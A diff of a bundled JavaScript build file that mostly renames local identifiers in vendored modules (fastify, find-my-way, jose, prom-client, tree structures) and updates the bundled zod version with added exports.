stringify2(input2) { let result = ""; - if (input === null || typeof input !== "object") { + if (input2 === null || typeof input2 !== "object") { return result; } const separator = "&"; - const keys = Object.keys(input); + const keys = Object.keys(input2); const keyLength = keys.length; let valueLength = 0; for (let i = 0; i < keyLength; i++) { const key = keys[i]; - const value = input[key]; + const value = input2[key]; const encodedKey = encodeString(key) + "="; if (i) { result += separator; @@ -42776,24 +42776,24 @@ var require_safe_regex2 = __commonJS({ "use strict"; var parse4 = require_dist4(); var { types: types2 } = require_dist4(); - function walk(node, opts, starHeight) { + function walk(node2, opts, starHeight) { let i; let ok; let len; - if (node.type === types2.REPETITION) { + if (node2.type === types2.REPETITION) { starHeight++; opts.reps++; if (starHeight > 1) return false; if (opts.reps > opts.limit) return false; } - const options = node.options || node.value?.options; + const options = node2.options || node2.value?.options; if (options) { for (i = 0, len = options.length; i < len; i++) { ok = walk({ stack: options[i] }, opts, starHeight); if (!ok) return false; } } - const stack = node.stack || node.value?.stack; + const stack = node2.stack || node2.value?.stack; if (!stack) return true; for (i = 0, len = stack.length; i < len; i++) { ok = walk(stack[i], opts, starHeight); @@ -42943,8 +42943,8 @@ var require_pretty_print = __commonJS({ return mergedRoutes; }, []); } - function serializeNode(node, prefix, options) { - let routes = node.routes; + function serializeNode(node2, prefix, options) { + let routes = node2.routes; if (options.method === void 0) { routes = routes.map(normalizeRoute); } @@ -42958,28 +42958,28 @@ var require_pretty_print = __commonJS({ return routes.map(serializeRoute).join(` ${prefix}`); } - function buildObjectTree(node, tree, prefix, options) { - if (node.isLeafNode || options.commonPrefix !== false) { + function buildObjectTree(node2, tree, prefix, options) { + if (node2.isLeafNode || options.commonPrefix !== false) { prefix = prefix || "(empty root node)"; tree = tree[prefix] = {}; - if (node.isLeafNode) { - tree[treeDataSymbol] = serializeNode(node, prefix, options); + if (node2.isLeafNode) { + tree[treeDataSymbol] = serializeNode(node2, prefix, options); } prefix = ""; } - if (node.staticChildrenNodes) { - for (const child of node.staticChildrenNodes) { + if (node2.staticChildrenNodes) { + for (const child of node2.staticChildrenNodes) { buildObjectTree(child, tree, prefix + child.prefix, options); } } - if (node.parametricChildren) { - for (const child of Object.values(node.parametricChildren)) { + if (node2.parametricChildren) { + for (const child of Object.values(node2.parametricChildren)) { const childPrefix = Array.from(child.nodePaths).join("|"); buildObjectTree(child, tree, prefix + childPrefix, options); } } - if (node.wildcardChild) { - buildObjectTree(node.wildcardChild, tree, "*", options); + if (node2.wildcardChild) { + buildObjectTree(node2.wildcardChild, tree, "*", options); } } function prettyPrintTree(root, options) { @@ -43182,14 +43182,14 @@ var require_node = __commonJS({ this.staticChildrenCharCodes = []; this.staticChildrenNodes = []; } - setStaticChild(label, node) { + setStaticChild(label, node2) { const charCode = label.charCodeAt(0); const index2 = this.staticChildrenCharCodes.indexOf(charCode); if (index2 === -1) { this.staticChildrenCharCodes.push(charCode); - this.staticChildrenNodes.push(node); + this.staticChildrenNodes.push(node2); } else { - this.staticChildrenNodes[index2] = node; + this.staticChildrenNodes[index2] = node2; } } findStaticMatchingChild(path, pathIndex) { @@ -43232,9 +43232,9 @@ var require_node = __commonJS({ } return staticChild.createStaticChild(path.slice(i)); } - const node = new StaticNode(path); - this.setStaticChild(path.charAt(0), node); - return node; + const node2 = new StaticNode(path); + this.setStaticChild(path.charAt(0), node2); + return node2; } }; var StaticNode = class _StaticNode extends ParentNode { @@ -43294,13 +43294,13 @@ var require_node = __commonJS({ return staticNode; } getNextNode(path, pathIndex, nodeStack, paramsCount) { - let node = this.findStaticMatchingChild(path, pathIndex); + let node2 = this.findStaticMatchingChild(path, pathIndex); let parametricBrotherNodeIndex = 0; - if (node === null) { + if (node2 === null) { if (this.parametricChildren.length === 0) { return this.wildcardChild; } - node = this.parametricChildren[0]; + node2 = this.parametricChildren[0]; parametricBrotherNodeIndex = 1; } if (this.wildcardChild !== null) { @@ -43317,7 +43317,7 @@ var require_node = __commonJS({ brotherNode: this.parametricChildren[i] }); } - return node; + return node2; } _compilePrefixMatch() { if (this.prefix.length === 1) { @@ -44242,7 +44242,7 @@ var require_find_my_way = __commonJS({ path = sanitizedUrl.path; querystring2 = sanitizedUrl.querystring; shouldDecodeParam = sanitizedUrl.shouldDecodeParam; - } catch (error51) { + } catch (error62) { return this._onBadUrl(path); } if (this.ignoreTrailingSlash) { @@ -44270,8 +44270,8 @@ var require_find_my_way = __commonJS({ }; } } - let node = currentNode.getNextNode(path, pathIndex, brothersNodesStack, params.length); - if (node === null) { + let node2 = currentNode.getNextNode(path, pathIndex, brothersNodesStack, params.length); + if (node2 === null) { if (brothersNodesStack.length === 0) { if (maxParamLengthExceeded && this.onMaxParamLength) { return this._onMaxParamLength(originPath); @@ -44281,9 +44281,9 @@ var require_find_my_way = __commonJS({ const brotherNodeState = brothersNodesStack.pop(); pathIndex = brotherNodeState.brotherPathIndex; params.splice(brotherNodeState.paramsCount); - node = brotherNodeState.brotherNode; + node2 = brotherNodeState.brotherNode; } - currentNode = node; + currentNode = node2; while (true) { if (currentNode.kind === NODE_TYPES.STATIC) { pathIndex += currentNode.prefix.length; @@ -44479,7 +44479,7 @@ var require_find_my_way = __commonJS({ if (parsed.protocol !== `${scheme}:` || parsed.host.length === 0) { return null; } - } catch (error51) { + } catch (error62) { return null; } if (authorityEnd === url2.length) { @@ -44880,14 +44880,14 @@ var require_route = __commonJS({ const hasHEADHandler = headHandler !== null; try { router.on(opts.method, opts.url, { constraints }, routeHandler, context2); - } catch (error51) { + } catch (error62) { if (!context2[kRouteByFastify]) { const methods = Array.isArray(opts.method) ? opts.method : [opts.method]; - const isDuplicatedRoute = methods.some((method) => error51.message.includes(`Method '${method}' already declared for route`)); + const isDuplicatedRoute = methods.some((method) => error62.message.includes(`Method '${method}' already declared for route`)); if (isDuplicatedRoute) { throw new FST_ERR_DUPLICATED_ROUTE(opts.method, opts.url); } - throw error51; + throw error62; } } this.after((notHandledErr, done) => { @@ -44924,16 +44924,16 @@ var require_route = __commonJS({ opts.validatorCompiler || schemaController.validatorCompiler, isCustom ); - } catch (error51) { - throw new FST_ERR_SCH_VALIDATION_BUILD(opts.method, url2, error51.message); + } catch (error62) { + throw new FST_ERR_SCH_VALIDATION_BUILD(opts.method, url2, error62.message); } if (opts.schema.response && !opts.serializerCompiler) { schemaController.setupSerializer(this[kOptions]); } try { compileSchemasForSerialization(context2, opts.serializerCompiler || schemaController.serializerCompiler); - } catch (error51) { - throw new FST_ERR_SCH_SERIALIZATION_BUILD(opts.method, url2, error51.message); + } catch (error62) { + throw new FST_ERR_SCH_SERIALIZATION_BUILD(opts.method, url2, error62.message); } } }); @@ -45906,12 +45906,12 @@ var require_request2 = __commonJS({ } util.inherits(Request, Readable); util.inherits(CustomRequest, Request); - Request.prototype.destroy = function(error51) { + Request.prototype.destroy = function(error62) { if (this.destroyed || this._lightMyRequest.isDone) return; this.destroyed = true; - if (error51) { + if (error62) { this._error = true; - process.nextTick(() => this.emit("error", error51)); + process.nextTick(() => this.emit("error", error62)); } process.nextTick(() => this.emit("close")); }; @@ -45998,42 +45998,42 @@ var require_set_cookie = __commonJS({ } return { name, value }; } - function parse4(input, options) { + function parse4(input2, options) { options = options ? Object.assign({}, defaultParseOptions, options) : defaultParseOptions; - if (!input) { + if (!input2) { if (!options.map) { return []; } else { return createNullObj(); } } - if (input.headers) { - if (typeof input.headers.getSetCookie === "function") { - input = input.headers.getSetCookie(); - } else if (input.headers["set-cookie"]) { - input = input.headers["set-cookie"]; + if (input2.headers) { + if (typeof input2.headers.getSetCookie === "function") { + input2 = input2.headers.getSetCookie(); + } else if (input2.headers["set-cookie"]) { + input2 = input2.headers["set-cookie"]; } else { - var sch = input.headers[Object.keys(input.headers).find(function(key) { + var sch = input2.headers[Object.keys(input2.headers).find(function(key) { return key.toLowerCase() === "set-cookie"; })]; - if (!sch && input.headers.cookie && !options.silent) { + if (!sch && input2.headers.cookie && !options.silent) { console.warn( "Warning: set-cookie-parser appears to have been called on a request object. It is designed to parse Set-Cookie headers from responses, not Cookie headers from requests. Set the option {silent: true} to suppress this warning." ); } - input = sch; + input2 = sch; } } - if (!Array.isArray(input)) { - input = [input]; + if (!Array.isArray(input2)) { + input2 = [input2]; } if (!options.map) { - return input.filter(isNonEmptyString).map(function(str) { + return input2.filter(isNonEmptyString).map(function(str) { return parseString(str, options); }).filter(Boolean); } else { var cookies = createNullObj(); - return input.filter(isNonEmptyString).reduce(function(cookies2, str) { + return input2.filter(isNonEmptyString).reduce(function(cookies2, str) { var cookie = parseString(str, options); if (cookie && !isForbiddenKey(cookie.name)) { cookies2[cookie.name] = cookie; @@ -46214,11 +46214,11 @@ var require_response = __commonJS({ this.emit("finish"); this.destroy(); }; - Response.prototype.destroy = function(error51) { + Response.prototype.destroy = function(error62) { if (this.destroyed) return; this.destroyed = true; - if (error51) { - process.nextTick(() => this.emit("error", error51)); + if (error62) { + process.nextTick(() => this.emit("error", error62)); } process.nextTick(() => this.emit("close")); }; @@ -47709,12 +47709,12 @@ var require_fastify = __commonJS({ } if (fastify2[kState].started) { if (fastify2[kState].closing) { - const error51 = new FST_ERR_REOPENED_CLOSE_SERVER(); + const error62 = new FST_ERR_REOPENED_CLOSE_SERVER(); if (cb) { - cb(error51); + cb(error62); return; } else { - return Promise.reject(error51); + return Promise.reject(error62); } } return lightMyRequest(httpHandler, opts, cb); @@ -49781,28 +49781,28 @@ var require_rbtree = __commonJS({ var gp = null; var ggp = head; var p = null; - var node = this._root; + var node2 = this._root; ggp.right = this._root; while (true) { - if (node === null) { - node = new Node(data); - p.set_child(dir, node); + if (node2 === null) { + node2 = new Node(data); + p.set_child(dir, node2); ret2 = true; this.size++; - } else if (is_red(node.left) && is_red(node.right)) { - node.red = true; - node.left.red = false; - node.right.red = false; + } else if (is_red(node2.left) && is_red(node2.right)) { + node2.red = true; + node2.left.red = false; + node2.right.red = false; } - if (is_red(node) && is_red(p)) { + if (is_red(node2) && is_red(p)) { var dir2 = ggp.right === gp; - if (node === p.get_child(last)) { + if (node2 === p.get_child(last)) { ggp.set_child(dir2, single_rotate(gp, !last)); } else { ggp.set_child(dir2, double_rotate(gp, !last)); } } - var cmp = this._comparator(node.data, data); + var cmp = this._comparator(node2.data, data); if (cmp === 0) { break; } @@ -49812,8 +49812,8 @@ var require_rbtree = __commonJS({ ggp = gp; } gp = p; - p = node; - node = node.get_child(dir); + p = node2; + node2 = node2.get_child(dir); } this._root = head.right; } @@ -49825,34 +49825,34 @@ var require_rbtree = __commonJS({ return false; } var head = new Node(void 0); - var node = head; - node.right = this._root; + var node2 = head; + node2.right = this._root; var p = null; var gp = null; var found = null; var dir = 1; - while (node.get_child(dir) !== null) { + while (node2.get_child(dir) !== null) { var last = dir; gp = p; - p = node; - node = node.get_child(dir); - var cmp = this._comparator(data, node.data); + p = node2; + node2 = node2.get_child(dir); + var cmp = this._comparator(data, node2.data); dir = cmp > 0; if (cmp === 0) { - found = node; + found = node2; } - if (!is_red(node) && !is_red(node.get_child(dir))) { - if (is_red(node.get_child(!dir))) { - var sr = single_rotate(node, dir); + if (!is_red(node2) && !is_red(node2.get_child(dir))) { + if (is_red(node2.get_child(!dir))) { + var sr = single_rotate(node2, dir); p.set_child(last, sr); p = sr; - } else if (!is_red(node.get_child(!dir))) { + } else if (!is_red(node2.get_child(!dir))) { var sibling = p.get_child(!last); if (sibling !== null) { if (!is_red(sibling.get_child(!last)) && !is_red(sibling.get_child(last))) { p.red = false; sibling.red = true; - node.red = true; + node2.red = true; } else { var dir2 = gp.right === p; if (is_red(sibling.get_child(last))) { @@ -49862,7 +49862,7 @@ var require_rbtree = __commonJS({ } var gpc = gp.get_child(dir2); gpc.red = true; - node.red = true; + node2.red = true; gpc.left.red = false; gpc.right.red = false; } @@ -49871,8 +49871,8 @@ var require_rbtree = __commonJS({ } } if (found !== null) { - found.data = node.data; - p.set_child(p.right === node, node.get_child(node.left === null)); + found.data = node2.data; + p.set_child(p.right === node2, node2.get_child(node2.left === null)); this.size--; } this._root = head.right; @@ -49881,8 +49881,8 @@ var require_rbtree = __commonJS({ } return found !== null; }; - function is_red(node) { - return node !== null && node.red; + function is_red(node2) { + return node2 !== null && node2.red; } function single_rotate(root, dir) { var save = root.get_child(!dir); @@ -49933,21 +49933,21 @@ var require_bintree = __commonJS({ } var dir = 0; var p = null; - var node = this._root; + var node2 = this._root; while (true) { - if (node === null) { - node = new Node(data); - p.set_child(dir, node); + if (node2 === null) { + node2 = new Node(data); + p.set_child(dir, node2); ret = true; this.size++; return true; } - if (this._comparator(node.data, data) === 0) { + if (this._comparator(node2.data, data) === 0) { return false; } - dir = this._comparator(node.data, data) < 0; - p = node; - node = node.get_child(dir); + dir = this._comparator(node2.data, data) < 0; + p = node2; + node2 = node2.get_child(dir); } }; BinTree.prototype.remove = function(data) { @@ -49955,23 +49955,23 @@ var require_bintree = __commonJS({ return false; } var head = new Node(void 0); - var node = head; - node.right = this._root; + var node2 = head; + node2.right = this._root; var p = null; var found = null; var dir = 1; - while (node.get_child(dir) !== null) { - p = node; - node = node.get_child(dir); - var cmp = this._comparator(data, node.data); + while (node2.get_child(dir) !== null) { + p = node2; + node2 = node2.get_child(dir); + var cmp = this._comparator(data, node2.data); dir = cmp > 0; if (cmp === 0) { - found = node; + found = node2; } } if (found !== null) { - found.data = node.data; - p.set_child(p.right === node, node.get_child(node.left === null)); + found.data = node2.data; + p.set_child(p.right === node2, node2.get_child(node2.left === null)); this._root = head.right; this.size--; return true; @@ -52282,8 +52282,8 @@ var require_osMemoryHeapLinux = __commonJS({ var PROCESS_RESIDENT_MEMORY = "process_resident_memory_bytes"; var PROCESS_VIRTUAL_MEMORY = "process_virtual_memory_bytes"; var PROCESS_HEAP = "process_heap_bytes"; - function structureOutput(input) { - return input.split("\n").reduce((acc, string4) => { + function structureOutput(input2) { + return input2.split("\n").reduce((acc, string4) => { if (!values2.some((value2) => string4.startsWith(value2))) { return acc; } @@ -52313,8 +52313,8 @@ var require_osMemoryHeapLinux = __commonJS({ residentMemGauge.set(labels, structuredOutput.VmRSS); virtualMemGauge.set(labels, structuredOutput.VmSize); heapSizeMemGauge.set(labels, structuredOutput.VmData); - } catch (error51) { - debug("failed to collect Linux memory metrics: %o", error51); + } catch (error62) { + debug("failed to collect Linux memory metrics: %o", error62); } } }); @@ -52348,8 +52348,8 @@ var require_safeRss = __commonJS({ function safeRss() { try { return process.memoryUsage.rss(); - } catch (error51) { - debug("process.memoryUsage.rss() failed: %o", error51); + } catch (error62) { + debug("process.memoryUsage.rss() failed: %o", error62); return; } } @@ -52397,11 +52397,11 @@ var require_processOpenFileDescriptors = __commonJS({ var { debuglog } = __require("node:util"); var Gauge = require_gauge(); var fs2 = __require("fs"); - var process3 = __require("process"); + var process2 = __require("process"); var debug = debuglog("prom:metrics:process-open-fds"); var PROCESS_OPEN_FDS = "process_open_fds"; module.exports = (registry2, config2 = {}) => { - if (process3.platform !== "linux") { + if (process2.platform !== "linux") { return; } const namePrefix = config2.prefix ? config2.prefix : ""; @@ -52416,8 +52416,8 @@ var require_processOpenFileDescriptors = __commonJS({ try { const fds = fs2.readdirSync("/proc/self/fd"); this.set(labels, fds.length - 1); - } catch (error51) { - debug("failed to collect open file descriptors: %o", error51); + } catch (error62) { + debug("failed to collect open file descriptors: %o", error62); } } }); @@ -52448,8 +52448,8 @@ var require_processMaxFileDescriptors = __commonJS({ break; } } - } catch (error51) { - debug("failed to collect maximum file descriptors: %o", error51); + } catch (error62) { + debug("failed to collect maximum file descriptors: %o", error62); return; } } @@ -52481,8 +52481,8 @@ var require_eventLoopLag = __commonJS({ var perf_hooks; try { perf_hooks = __require("perf_hooks"); - } catch (error51) { - debug("perf_hooks module is unavailable: %o", error51); + } catch (error62) { + debug("perf_hooks module is unavailable: %o", error62); } var NODEJS_EVENTLOOP_LAG = "nodejs_eventloop_lag_seconds"; var NODEJS_EVENTLOOP_LAG_MIN = "nodejs_eventloop_lag_min_seconds"; @@ -52869,8 +52869,8 @@ var require_safeMemoryUsage = __commonJS({ function safeMemoryUsage() { try { return process.memoryUsage(); - } catch (error51) { - debug("process.memoryUsage() failed: %o", error51); + } catch (error62) { + debug("process.memoryUsage() failed: %o", error62); return; } } @@ -53029,8 +53029,8 @@ var require_gc = __commonJS({ var perf_hooks; try { perf_hooks = __require("perf_hooks"); - } catch (error51) { - debug("perf_hooks module is unavailable: %o", error51); + } catch (error62) { + debug("perf_hooks module is unavailable: %o", error62); } var NODEJS_GC_DURATION_SECONDS = "nodejs_gc_duration_seconds"; var DEFAULT_GC_DURATION_BUCKETS = [1e-3, 0.01, 0.1, 1, 2, 5]; @@ -53334,15 +53334,15 @@ var require_cluster = __commonJS({ metrics: metrics2 }); } - } catch (error51) { - debug("Error sending to primary", error51); + } catch (error62) { + debug("Error sending to primary", error62); if (!process.connected) { debug("Connection to primary lost."); } else { process.send({ type: GET_METRICS_RES, requestId: message2.requestId, - error: error51.message + error: error62.message }); } } @@ -53398,8 +53398,8 @@ var require_cluster = __commonJS({ const metrics2 = [historicMetrics, ...event.metrics]; historicMetrics = Registry2.aggregate(metrics2).getMetricsAsArray(); debug("collected metrics data from", worker.id); - } catch (error51) { - console.error("error collecting shutdown metrics", worker.id, error51); + } catch (error62) { + console.error("error collecting shutdown metrics", worker.id, error62); } finally { workers.delete(worker.id); } @@ -53673,12 +53673,12 @@ var require_worker = __commonJS({ threadId, metrics: metrics2 }); - } catch (error51) { - debug(error51); + } catch (error62) { + debug(error62); channel.postMessage({ type: GET_METRICS_RES, requestId: message2.requestId, - error: error51.message + error: error62.message }); } } else { @@ -53756,11 +53756,11 @@ var require_worker = __commonJS({ const metrics2 = [historicMetrics, ...workerMessage.metrics]; historicMetrics = Registry2.aggregate(metrics2).getMetricsAsArray(); debug("collected metrics data from", workerMessage.threadId); - } catch (error51) { + } catch (error62) { console.error( "error collecting shutdown metrics", workerMessage.threadId, - error51 + error62 ); } finally { workers.delete(workerName); @@ -54067,8 +54067,8 @@ var JWTClaimValidationFailed = class extends JOSEError { claim; reason; payload; - constructor(message2, payload, claim = "unspecified", reason = "unspecified") { - super(message2, { cause: { claim, reason, payload } }), this.claim = claim, this.reason = reason, this.payload = payload; + constructor(message2, payload, claim2 = "unspecified", reason = "unspecified") { + super(message2, { cause: { claim: claim2, reason, payload } }), this.claim = claim2, this.reason = reason, this.payload = payload; } }; var JWTExpired = class extends JOSEError { @@ -54077,8 +54077,8 @@ var JWTExpired = class extends JOSEError { claim; reason; payload; - constructor(message2, payload, claim = "unspecified", reason = "unspecified") { - super(message2, { cause: { claim, reason, payload } }), this.claim = claim, this.reason = reason, this.payload = payload; + constructor(message2, payload, claim2 = "unspecified", reason = "unspecified") { + super(message2, { cause: { claim: claim2, reason, payload } }), this.claim = claim2, this.reason = reason, this.payload = payload; } }; var JOSEAlgNotAllowed = class extends JOSEError { @@ -54149,23 +54149,23 @@ var JWSSignatureVerificationFailed = class extends JOSEError { // node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/util/base64url.js var invalid = "The input to be decoded is not correctly encoded."; -function decode(input) { +function decode(input2) { try { - return decodeBase64(typeof input == "string" ? input : decoder.decode(input), true); + return decodeBase64(typeof input2 == "string" ? input2 : decoder.decode(input2), true); } catch (cause) { throw new TypeError(invalid, { cause }); } } // node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/lib/validate.js -function isObject(input) { - if (typeof input != "object" || input === null || Object.prototype.toString.call(input) !== "[object Object]") +function isObject(input2) { + if (typeof input2 != "object" || input2 === null || Object.prototype.toString.call(input2) !== "[object Object]") return false; - const prototype = Object.getPrototypeOf(input); + const prototype = Object.getPrototypeOf(input2); return prototype === null || Object.getPrototypeOf(prototype) === null; } -function isJwkSet(input) { - return isObject(input) && Array.isArray(input.keys) && Array.from(input.keys).every(isObject); +function isJwkSet(input2) { + return isObject(input2) && Array.isArray(input2.keys) && Array.from(input2.keys).every(isObject); } function isDisjoint(...headers) { const parameters = /* @__PURE__ */ new Set(); @@ -54214,7 +54214,7 @@ function validateCrit(Err, recognizedDefault, recognizedOption, protectedHeader, throw new Err('"crit" (Critical) Header Parameter MUST be integrity protected'); if (!protectedHeader || protectedHeader.crit === void 0) return []; - if (!Array.isArray(protectedHeader.crit) || protectedHeader.crit.length === 0 || protectedHeader.crit.some((input) => typeof input != "string" || input.length === 0)) + if (!Array.isArray(protectedHeader.crit) || protectedHeader.crit.length === 0 || protectedHeader.crit.some((input2) => typeof input2 != "string" || input2.length === 0)) throw new Err('"crit" (Critical) Header Parameter MUST be an array of non-empty strings when present'); const recognized = recognizedOption === void 0 ? recognizedDefault : { __proto__: null, ...recognizedOption, ...recognizedDefault }; for (const parameter of protectedHeader.crit) { @@ -54520,26 +54520,26 @@ function secs(str) { const value = parseFloat(matched[2]), numericDate2 = Math.round(value * multipliers[matched[3][0].toLowerCase()]); return Number.isFinite(numericDate2) || invalidDuration(), matched[1] === "-" || matched[4] === "ago" ? -numericDate2 : numericDate2; } -function validateInput(label, input) { - if (!Number.isFinite(input)) +function validateInput(label, input2) { + if (!Number.isFinite(input2)) throw new TypeError(`Invalid ${label} input`); - return input; + return input2; } var normalizeTyp = (value) => { const normalized = value.toLowerCase(); return value.includes("/") ? normalized : `application/${normalized}`; }; var checkAudiencePresence = (audPayload, audOption) => typeof audPayload == "string" ? audOption.includes(audPayload) : Array.isArray(audPayload) ? audOption.some((aud) => audPayload.includes(aud)) : false; -function validateNumericDate(payload, claim, required2 = false) { - const value = payload[claim]; +function validateNumericDate(payload, claim2, required2 = false) { + const value = payload[claim2]; if (!(value === void 0 && !required2)) { if (typeof value != "number") - throw new JWTClaimValidationFailed(`"${claim}" claim must be a number`, payload, claim, "invalid"); + throw new JWTClaimValidationFailed(`"${claim2}" claim must be a number`, payload, claim2, "invalid"); return value; } } -function unexpectedClaim(payload, claim) { - throw new JWTClaimValidationFailed(`unexpected "${claim}" claim value`, payload, claim, checkFailed); +function unexpectedClaim(payload, claim2) { + throw new JWTClaimValidationFailed(`unexpected "${claim2}" claim value`, payload, claim2, checkFailed); } function validateClaimsSet(protectedHeader, encodedPayload, options = {}) { let payload; @@ -54554,9 +54554,9 @@ function validateClaimsSet(protectedHeader, encodedPayload, options = {}) { throw new JWTClaimValidationFailed('unexpected "typ" JWT header value', payload, "typ", checkFailed); const { requiredClaims = [], issuer, subject, audience, maxTokenAge } = options, presenceCheck = [...requiredClaims]; maxTokenAge !== void 0 && presenceCheck.push("iat"), audience !== void 0 && presenceCheck.push("aud"), subject !== void 0 && presenceCheck.push("sub"), issuer !== void 0 && presenceCheck.push("iss"); - for (const claim of new Set(presenceCheck.reverse())) - if (!Object.hasOwn(payload, claim)) - throw new JWTClaimValidationFailed(`missing required "${claim}" claim`, payload, claim, "missing"); + for (const claim2 of new Set(presenceCheck.reverse())) + if (!Object.hasOwn(payload, claim2)) + throw new JWTClaimValidationFailed(`missing required "${claim2}" claim`, payload, claim2, "missing"); issuer !== void 0 && !(Array.isArray(issuer) ? issuer : [issuer]).includes(payload.iss) && unexpectedClaim(payload, "iss"), subject !== void 0 && payload.sub !== subject && unexpectedClaim(payload, "sub"), audience !== void 0 && !checkAudiencePresence(payload.aud, typeof audience == "string" ? [audience] : audience) && unexpectedClaim(payload, "aud"); const { clockTolerance } = options; let tolerance = 0; @@ -54605,8 +54605,8 @@ async function importWithAlgCache(cache2, jwk, entry) { if (key.type !== "public") throw new JWKSInvalid("JSON Web Key Set members must be public keys"); return cached2[alg] = key, key; - }).catch((error51) => { - throw cached2[alg] === pending && delete cached2[alg], error51; + }).catch((error62) => { + throw cached2[alg] === pending && delete cached2[alg], error62; }); cached2[alg] = pending; } @@ -54632,14 +54632,14 @@ function createLocalJWKSet(jwks) { if (!length) throw new JWKSNoMatchingKey(); if (length !== 1) { - const error51 = new JWKSMultipleMatchingKeys(); - throw error51[Symbol.asyncIterator] = async function* () { + const error62 = new JWKSMultipleMatchingKeys(); + throw error62[Symbol.asyncIterator] = async function* () { for (const jwk2 of candidates) try { yield await importWithAlgCache(cached2, jwk2, entry); } catch { } - }, error51; + }, error62; } return importWithAlgCache(cached2, jwk, entry); }, "jwks", { @@ -54742,12 +54742,13 @@ function createRemoteJWKSet(url2, options) { }); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/external.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/external.js var external_exports = {}; __export(external_exports, { $brand: () => $brand, $input: () => $input, $output: () => $output, + INVALID: () => INVALID, NEVER: () => NEVER, TimePrecision: () => TimePrecision, ZodAny: () => ZodAny, @@ -54763,6 +54764,9 @@ __export(external_exports, { ZodCUID2: () => ZodCUID2, ZodCatch: () => ZodCatch, ZodCodec: () => ZodCodec, + ZodCompileAsyncError: () => ZodCompileAsyncError, + ZodCompileUnsupportedError: () => ZodCompileUnsupportedError, + ZodCreditCard: () => ZodCreditCard, ZodCustom: () => ZodCustom, ZodCustomStringFormat: () => ZodCustomStringFormat, ZodDate: () => ZodDate, @@ -54778,12 +54782,14 @@ __export(external_exports, { ZodFirstPartyTypeKind: () => ZodFirstPartyTypeKind, ZodFunction: () => ZodFunction, ZodGUID: () => ZodGUID, + ZodIBAN: () => ZodIBAN, ZodIPv4: () => ZodIPv4, ZodIPv6: () => ZodIPv6, ZodISODate: () => ZodISODate, ZodISODateTime: () => ZodISODateTime, ZodISODuration: () => ZodISODuration, ZodISOTime: () => ZodISOTime, + ZodInstanceOf: () => ZodInstanceOf, ZodIntersection: () => ZodIntersection, ZodIssueCode: () => ZodIssueCode, ZodJWT: () => ZodJWT, @@ -54843,14 +54849,18 @@ __export(external_exports, { clone: () => clone, codec: () => codec, coerce: () => coerce_exports, + compile: () => compile, config: () => config, core: () => core_exports2, + creditCard: () => creditCard2, cuid: () => cuid3, cuid2: () => cuid22, + currencyCode: () => currencyCode2, custom: () => custom, - date: () => date3, + date: () => date2, decode: () => decode3, decodeAsync: () => decodeAsync2, + deepPartial: () => deepPartial, describe: () => describe2, discriminatedUnion: () => discriminatedUnion, e164: () => e1642, @@ -54868,6 +54878,7 @@ __export(external_exports, { formatError: () => formatError, fromJSONSchema: () => fromJSONSchema, function: () => _function, + getDiscriminatedOption: () => getDiscriminatedOption, getErrorMap: () => getErrorMap, globalRegistry: () => globalRegistry, gt: () => _gt, @@ -54877,7 +54888,9 @@ __export(external_exports, { hex: () => hex2, hostname: () => hostname2, httpUrl: () => httpUrl, + iban: () => iban2, includes: () => _includes, + input: () => input, instanceof: () => _instanceof, int: () => int, int32: () => int32, @@ -54904,6 +54917,7 @@ __export(external_exports, { map: () => map, maxLength: () => _maxLength, maxSize: () => _maxSize, + memoizer: () => memoizer, meta: () => meta2, mime: () => _mime, minLength: () => _minLength, @@ -54924,6 +54938,7 @@ __export(external_exports, { number: () => number2, object: () => object, optional: () => optional, + output: () => output, overwrite: () => _overwrite, parse: () => parse2, parseAsync: () => parseAsync2, @@ -54934,6 +54949,7 @@ __export(external_exports, { preprocess: () => preprocess, prettifyError: () => prettifyError, promise: () => promise, + properties: () => _properties, property: () => _property, readonly: () => readonly, record: () => record, @@ -54963,6 +54979,7 @@ __export(external_exports, { toJSONSchema: () => toJSONSchema, toLowerCase: () => _toLowerCase, toUpperCase: () => _toUpperCase, + toZod: () => toZod, transform: () => transform, treeifyError: () => treeifyError, trim: () => _trim, @@ -54980,12 +54997,15 @@ __export(external_exports, { uuidv4: () => uuidv4, uuidv6: () => uuidv6, uuidv7: () => uuidv7, + validate: () => validate, + validateAsync: () => validateAsync, void: () => _void2, + withParser: () => withParser, xid: () => xid2, xor: () => xor }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/index.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/index.js var core_exports2 = {}; __export(core_exports2, { $ZodAny: () => $ZodAny, @@ -55017,6 +55037,7 @@ __export(core_exports2, { $ZodCheckMultipleOf: () => $ZodCheckMultipleOf, $ZodCheckNumberFormat: () => $ZodCheckNumberFormat, $ZodCheckOverwrite: () => $ZodCheckOverwrite, + $ZodCheckProperties: () => $ZodCheckProperties, $ZodCheckProperty: () => $ZodCheckProperty, $ZodCheckRegex: () => $ZodCheckRegex, $ZodCheckSizeEquals: () => $ZodCheckSizeEquals, @@ -55024,8 +55045,10 @@ __export(core_exports2, { $ZodCheckStringFormat: () => $ZodCheckStringFormat, $ZodCheckUpperCase: () => $ZodCheckUpperCase, $ZodCodec: () => $ZodCodec, + $ZodCreditCard: () => $ZodCreditCard, $ZodCustom: () => $ZodCustom, $ZodCustomStringFormat: () => $ZodCustomStringFormat, + $ZodCyclicError: () => $ZodCyclicError, $ZodDate: () => $ZodDate, $ZodDefault: () => $ZodDefault, $ZodDiscriminatedUnion: () => $ZodDiscriminatedUnion, @@ -55039,6 +55062,7 @@ __export(core_exports2, { $ZodFile: () => $ZodFile, $ZodFunction: () => $ZodFunction, $ZodGUID: () => $ZodGUID, + $ZodIBAN: () => $ZodIBAN, $ZodIPv4: () => $ZodIPv4, $ZodIPv6: () => $ZodIPv6, $ZodISODate: () => $ZodISODate, @@ -55094,10 +55118,15 @@ __export(core_exports2, { $input: () => $input, $output: () => $output, Doc: () => Doc, + INVALID: () => INVALID, JSONSchema: () => json_schema_exports, JSONSchemaGenerator: () => JSONSchemaGenerator, NEVER: () => NEVER, TimePrecision: () => TimePrecision, + URL_BAD_FORMAT: () => URL_BAD_FORMAT, + URL_UNPARSEABLE: () => URL_UNPARSEABLE, + ZodCompileAsyncError: () => ZodCompileAsyncError, + ZodCompileUnsupportedError: () => ZodCompileUnsupportedError, _any: () => _any, _array: () => _array, _base64: () => _base64, @@ -55113,6 +55142,7 @@ 